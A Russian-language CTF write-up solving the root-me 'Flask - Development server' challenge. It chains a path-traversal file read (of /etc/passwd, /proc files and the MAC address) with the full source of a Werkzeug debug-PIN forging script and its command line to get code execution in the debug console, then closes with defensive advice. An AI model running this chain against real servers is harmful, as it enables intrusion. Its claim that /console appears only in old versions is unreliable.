Перейти к основному содержанию

CTF — Flask - Development server

CTF

А мы продолжаем решать задачки по информационной безопасности web-серверов. Сегодня задачка с портала root-me.org, называется "Flask - Development server". За решение задачки дают 30 баллов, средний уровень.

ctf

Из названия понятно, что дело придётся иметь с Flask.

Flask — лёгкий и мощный фреймворк для создания веб-приложений на Python, использующий набор инструментов Werkzeug, а также шаблонизатор Jinja2.

Веб разработчик говорит вам, что сайт готов к публикации. Проверьте сайт на безопасность, перед выкаткой в прод. Флаг расположен в директории приложения.

ctf

Ссылки

Решение

Переходим на страницу задания:

http://challenge01.root-me.org/web-serveur/ch85/

ctf

Открывается некий сайт. На сайте доступна ссылка /services, посмотрим что там.

ctf

Доступна поисковая строка, ниже написано, что поиск ещё не доделан. Попробуем что-нибудь найти, например, internet-lab.ru.
ctf

Search.

ctf

[Errno 2] No such file or directory: 'internet-lab.ru'

Стоп, какой ещё файл или директория? Вбиваю /.

ctf

[Errno 21] Is a directory: '/'

Да ладно. Пробую ../../../etc/passwd.

ctf

И мы видим содержимое файла /etc/passwd. Это серьёзная уязвимость, позволяющая нам вывести на экран содержимое любого файла.

К примеру, из /etc/passwd мы видим что приложение выполняется у пользователя web-app в директории /home/web-app. Эта информация нам пригодится.

Проверим что /home/web-app существует.

ctf

Таки да. Вероятно, в этой же директории расположено наши приложение и флаг. Правда, имя файла флага мы не знаем и не можем его прочитать. Однако, мы можем прочитать что-нибудь ещё, что нам поможет. Например, зная, что у нас используется фреймворк Flask, можно предположить, что приложение запускается из файла app.py. Попробуем вывести его на экран.

ctf

Угадали. Но можно было и не угадывать, а посмотреть в /proc/self/cmdline.

ctf

Видим Python 3 и скрипт app.py.

Приведём код в порядок для удобства.

ctf

В этом коде примечательны две вещи. Первое: debug=True. Разработчик оставил включённым режим отладки. Какой рассеянный. Значит, мы можем получить доступ к консоли. Второе: имеется уязвимый код:

template = request.args.get("search")
template = open(template).read()

Как бы вторую уязвимость мы уже нашли и понимаем как прочитать любой файл. Попробуем попасть в консоль.

В Flask с включённым режимом отладки (debug=True) интерактивная консоль отладчика (Werkzeug Debugger) становится доступна только при возникновении исключения (ошибки 500) по специальному URL, который генерируется динамически. Я попытался сгенерировать какую-нибудь ошибку. Не получилось.

В очень старых версиях (Flask < 2.0, Werkzeug < 2.0.0) при debug=True консоль отладчика иногда могла быть доступна по фиксированному URL, например:

http://ваш-сайт/console

Но это критическая уязвимость (CVE-2019-14806), и в современных версиях уже исправлено. Проверим, перехожу по пути /console в браузере.

ctf

И мы попадаем в консоль. Вход закрыт на PIN код. И это бы спасло сайт от взлома, если бы не ранее найденная уязвимость чтения любого файла.

С этой задачей я уже сталкивался несколько лет назад. Уязвимость была немного другой, но принцип тот же.

CTF web — blogger

Здесь я сталкивался с уязвимостью хеш-функции.

Уязвимость хеш-функции. Атакующий может вычислить секретный ключ, зная алгоритм шифрования и исходные значения.

При запуске приложения админу в консоли сообщается PIN, и этот PIN всегда одинаковый. Если нам каким-то образом удастся понять, как этот PIN считается и повторить вычисления, то мы сами получим тот же самый PIN и войдём в консоль через дебаг-режим.

Для генерации PIN функция использует некоторые значения:

  1. Файл приложения.
  2. Имя приложения.
  3. /etc/machine-id или /proc/sys/kernel/random/boot_id, смотря что имеется.
  4. MAC-адрес сетевухи.
  5. Имя пользователя.
  6. Путь до приложения.

Если мы всё это узнаем, то сможем сгенерировать PIN. Попробуем собрать информацию. Имя пользователя мы вычислили ранее, это web-app. Имя приложения видно в app.py, это Flask. Файл приложения по умолчанию flask.app. Путь до приложения app.py должен быть такой:

/home/web-app/.local/lib/python<версия>/site-packages/flask/app.py

А Python у нас какой версии? Посмотрим в /proc/self/environ.

ctf

PYTHON_VERSION=3.11. Значит, путь должен быть таким:

/home/web-app/.local/lib/python3.11/site-packages/flask/app.py

Проверим:

ctf

Путь верный.

MAC-адрес сетевухи получим из /sys/class/net/eth0/address , интерфейс можно посмотреть в /proc/net/arp.

ctfctf

Получаем адрес 02:42:ac:10:00:0a.

Получить /etc/machine-id или /proc/sys/kernel/random/boot_id можно легко. Первое отсутствует, а второе:

ctf

Получаем 27c8bdce-0b71-47eb-9aee-1287e1aa6c4a.

Собрали данные:

  1. Файл приложения. flask.app
  2. Имя приложения. Flask
  3. /etc/machine-id или /proc/sys/kernel/random/boot_id, смотря что имеется. 27c8bdce-0b71-47eb-9aee-1287e1aa6c4a
  4. MAC-адрес сетевухи. 02:42:ac:10:00:0a
  5. Имя пользователя. web-app
  6. Путь до приложения. /home/web-app/.local/lib/python3.11/site-packages/flask/app.py
ctf

Генерирую PIN, пробую войти в консоль, и ничего не получается. Возможно, функция сменилась? Немного поиска по сети выводит нас на решение:

https://github.com/SidneyJob/Werkzeuger

Код генератора целиком:

# MIT License
# Copyright (c) 2023 SidneyJob
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.

import hashlib
from itertools import chain, combinations
from colorama import Fore, Style
import time
import argparse
import getpass
import uuid
import sys

def hash_pin(pin: str) -> str:
   pin = pin[0]
   return hashlib.sha1(f"{pin} added salt".encode("utf-8", "replace")).hexdigest()[:12]

def gen_pin(username, mac, mch_id,path,modname,appname):
   probably_public_bits = [username,modname,appname,path]
   private_bits = [str(mac), mch_id]
   
   rv = None
   num = None
   h = hashlib.sha1()
   for bit in chain(probably_public_bits, private_bits):
       if not bit:
           continue
       if isinstance(bit, str):
           bit = bit.encode("utf-8")
       h.update(bit)
   h.update(b"cookiesalt")
   cookie_name = f"__wzd{h.hexdigest()[:20]}"
   if num is None:
       h.update(b"pinsalt")
       num = f"{int(h.hexdigest(), 16):09d}"[:9]
   if rv is None:
       for group_size in 5, 4, 3:
           if len(num) % group_size == 0:
               rv = "-".join(
                   num[x : x + group_size].rjust(group_size, "0")
                   for x in range(0, len(num), group_size)
               )
               break
       else:
           rv = num
   return [rv, cookie_name]

def generate_cookie(pin):
   cookie = ''
   cookie += str(int(time.time()))
   cookie += '|'
   cookie += hash_pin([pin])
   return cookie

def logo():
   print("""

                       ¶         ¶                          
                        ¶         ¶                         
                    ¶   ¶         ¶   ¶                     
                    ¶  ¶¶         ¶¶  ¶                     
                    ¶¶ ¶¶¶       ¶¶¶ ¶¶                     
            ¶      ¶¶   ¶¶¶     ¶¶¶   ¶¶      ¶             
           ¶¶      ¶¶   ¶¶¶     ¶¶¶   ¶¶      ¶¶            
          ¶¶      ¶¶    ¶¶¶¶   ¶¶¶¶    ¶¶      ¶¶           
          ¶¶     ¶¶¶    ¶¶¶¶  ¶¶¶¶¶    ¶¶¶     ¶¶¶          
      ¶  ¶¶¶    ¶¶¶¶    ¶¶¶¶   ¶¶¶¶    ¶¶¶¶   ¶¶¶¶  ¶       
      ¶¶ ¶¶¶¶¶  ¶¶¶¶   ¶¶¶¶¶   ¶¶¶¶¶   ¶¶¶¶  ¶¶¶¶¶ ¶¶       
      ¶¶ ¶¶¶¶¶  ¶¶¶¶¶¶¶¶¶¶¶     ¶¶¶¶¶¶¶¶¶¶¶  ¶¶¶¶¶ ¶¶       
      ¶¶ ¶¶¶¶¶  ¶¶¶¶¶¶¶¶¶¶¶     ¶¶¶¶¶¶¶¶¶¶¶  ¶¶¶¶¶ ¶¶       
     ¶¶¶  ¶¶¶¶   ¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶   ¶¶¶¶  ¶¶¶      
    ¶¶¶¶  ¶¶¶¶   ¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶   ¶¶¶¶  ¶¶¶¶     
   ¶¶¶¶   ¶¶¶¶¶ ¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶ ¶¶¶¶¶   ¶¶¶¶    
  ¶¶¶¶    ¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶   ¶¶¶¶    
  ¶¶¶¶¶  ¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶  ¶¶¶¶    
   ¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶    
   ¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶    
    ¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶     
    ¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶     
     ¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶      
    ¶¶¶¶¶           ¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶           ¶¶¶¶¶     
    ¶¶¶¶¶¶             ¶¶¶¶¶¶¶¶¶¶¶¶¶             ¶¶¶¶¶¶     
     ¶¶¶¶¶¶¶        ..     ¶¶¶¶¶¶¶¶¶     ..        ¶¶¶¶¶¶   
      ¶¶¶¶¶¶¶¶             ¶¶¶¶¶             ¶¶¶¶¶¶¶¶       
       ¶¶¶¶¶¶¶¶¶¶           ¶¶¶           ¶¶¶¶¶¶¶¶¶¶        
          ¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶           
             ¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶   ¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶              
                 ¶¶¶¶¶¶¶¶¶¶     ¶¶¶¶¶¶¶¶¶¶                  
                  ¶¶¶¶¶¶¶¶       ¶¶¶¶¶¶¶¶                   
                 ¶¶¶¶¶¶¶¶¶       ¶¶¶¶¶¶¶¶¶                  
                 ¶¶¶¶¶¶¶¶¶ ¶¶¶¶¶ ¶¶¶¶¶¶¶¶¶                  
                ¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶                 
                ¶¶¶  ¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶  ¶¶¶                 
                 ¶¶  ¶¶¶¶  ¶¶¶¶¶  ¶¶¶¶  ¶¶                  
                     ¶¶¶¶  ¶¶¶¶¶  ¶¶¶¶                      
                                                            
                                                           
__          __             _
\ \        / /            | |
\ \  /\  / /   ___  _ __ | | __ ____  ___  _   _   __ _   ___  _ __
 \ \/  \/ /   / _ \| '__|| |/ /|_  / / _ \| | | | / _` | / _ \| '__|
  \  /\  /   |  __/| |   |   <  / / |  __/| |_| || (_| ||  __/| |
   \/  \/     \___||_|   |_|\_\/___| \___| \__,_| \__, | \___||_|
                                                   __/ |
                                                  |___/

               Author:  https://github.com/SidneyJob
               Channel: https://t.me/SidneyJobChannel
""")
def print_c(text, color):
    eval(f'print(Fore.{color} + """{text}""" + Style.RESET_ALL, end="")')
def main():
   logo()
   if len(sys.argv) > 1:
       if sys.argv[1] == "GET":
           with open('/etc/machine-id','r') as f:
               mch_id = f.readline()[:-1]
           with open("/proc/self/cgroup",'r') as f:
               cgroup = f.readline()[:-1]
           print(f"""  
Public bits:
username         === {getpass.getuser()}
Private bits:
MAC              === {str(uuid.getnode())}
machine_id       === {mch_id}
cgroup           === {cgroup}
""")
           exit(0)
   parser = argparse.ArgumentParser(description="Werkzeug generate PIN script")
   parser.add_argument("--username", dest="username", type=str, help="The username of the user who launched the application. Try to read /etc/passwd or /proc/self/cgroup", default='www-data') # www-data
   parser.add_argument("--path", dest="path",required=True, type=str, help="Path to Flask")   # REQUIRED
   parser.add_argument("--modname", dest="modname", type=str, help="Modname (Default: flask.app)") # flask.app
   parser.add_argument("--appname", dest="appname", type=str, help="Appname (Default: Flask)") # Flask

   parser.add_argument("--mac", dest="mac", required=True, type=str, help="MAC address any interface") # REQUIRED
   parser.add_argument("--machine_id", dest="mch_id",required=True, type=str, help="Enter /etc/machine-id or /proc/sys/kernel/random/boot_id") # REQUIRED
   parser.add_argument("--cgroup", dest="cgroup",required=True, type=str, help="Enter /proc/self/cgroup") # REQUIRED
   
   args = parser.parse_args()
   modnames = ["flask.app", "werkzeug.debug"]
   appnames = ["wsgi_app", "DebuggedApplication", "Flask"]
   if args.appname:
       appnames.append(args.appname)
   if args.modname:
       modnames.append(args.modname)
   mch_id = b""
   mch_id += args.mch_id.encode("UTF-8")
   cgroup_file = args.cgroup.strip().rpartition("/")[2].encode("UTF-8")
   mch_id += cgroup_file
   
   mac = int("".join(args.mac.split(":")),16)
   for mod in modnames:
       for app in appnames:
           res = gen_pin(args.username, mac, mch_id, args.path, mod, app)
           cookie = generate_cookie(res[0])
           if res[0] != '' and res[1] != '':
               print_c("[+] Success!", "GREEN")
               print(f"""
[*] PIN: {res[0]}
[*] Cookie: {res[1]}={cookie}
[*] Modname: {mod}
[*] Appname: {app}
               """)
           else:
               print("[-] Error!")
   print_c(f"[+] {len(modnames) * len(appnames)} payloads are successfully generated!\n", "GREEN")

if __name__ == "__main__":
   main()

Требуется получить ещё одно значение, cgroup. Посмотрим в /proc/self/cgroup, нужна первая строка.

ctf

Получаем 12:hugetlb:/.

Генерируем PIN:

python3 gen.py --username web-app --path '/home/web-app/.local/lib/python3.11/site-packages/flask/app.py' --mac '02:42:ac:10:00:0a' --cgroup '12:hugetlb:/' --machine_id '27c8bdce-0b71-47eb-9aee-1287e1aa6c4a' --modname flask.app --appname Flask
ctf

Получаем PIN.

ctf

Пробуем войти в консоль Flask.

ctf

Успех! Дело за малым, получить список содержимого рабочей директории.

import os
os.popen('pwd').read()
os.listdir("/app")

Или:

import os
os.popen('ls -Fla').read()
ctf

Видим текстовый файл с длинным названием. Считаем его.

ctf

А вот и флаг! Валидируем.

ctf

Флаг подходит, зарабатываем 30 очков.

Безопасность

  1. Если вы используете сторонние библиотеки, фреймворки, CMS, CMF, уделяйте внимание безопасности, своевременно обновляйте их. В таких проектах нередко появляются найденные уязвимости и заплатки к ним.
  2. Не открывайте наружу дебаг. Не используйте debug=True в продакшене.
  3. Здесь мы видим пример как совокупность эксплуатации двух разных уязвимостей дала возможность проникнуть на сервер, хотя каждая из уязвимостей по-отдельности не привела бы к такому результату.
  4. В нормальных условиях /console не должен быть доступен. Если он работает — это признак крайне старой версии Flask/Werkzeug или опасной ручной настройки. Немедленно отключите debug-режим и обновите зависимости!

В нашем примере код содержит уязвимость — чтение файлов по пользовательскому вводу без проверки:

template = request.args.get("search")
try:
   template = open(template).read()  # Опасность!

Рекомендуется:

  • Ограничить допустимые пути для поиска
  • Проверять расширения файлов
  • Использовать os.path.join для безопасного конструирования путей
  • Либо вообще убрать эту функциональность, если она не нужна

Пример безопасной реализации:

from werkzeug.utils import secure_filename
import os

@app.route("/services", methods=["GET"])
def services():
    template = "wip"
    if "search" in request.args:
        filename = secure_filename(request.args.get("search"))
        if filename.endswith('.html'):
            try:
                with open(os.path.join('templates', filename)) as f:
                    template = f.read()
            except Exception as x:
                template = str(x)
    return render_template("services.html", template=template)

Теги

 

Похожие материалы

CTF — HTTP Improper redirect

Продолжаем решать задачки по информационной безопасности web-серверов. Сегодня задачка с портала root-me.org, называется "HTTP - Improper redirect". За решение задачки дают 15 баллов, чуть посложнее начального уровня.

Теги

CTF — Flask - Unsecure session

Приветствую юных белых хакеров. Продолжаем решать задачки по информационной безопасности web-серверов. Сегодня задачка с портала root-me.org, называется "Flask - Unsecure session". За решение задачки дают 20 баллов, лёгкий уровень.

Теги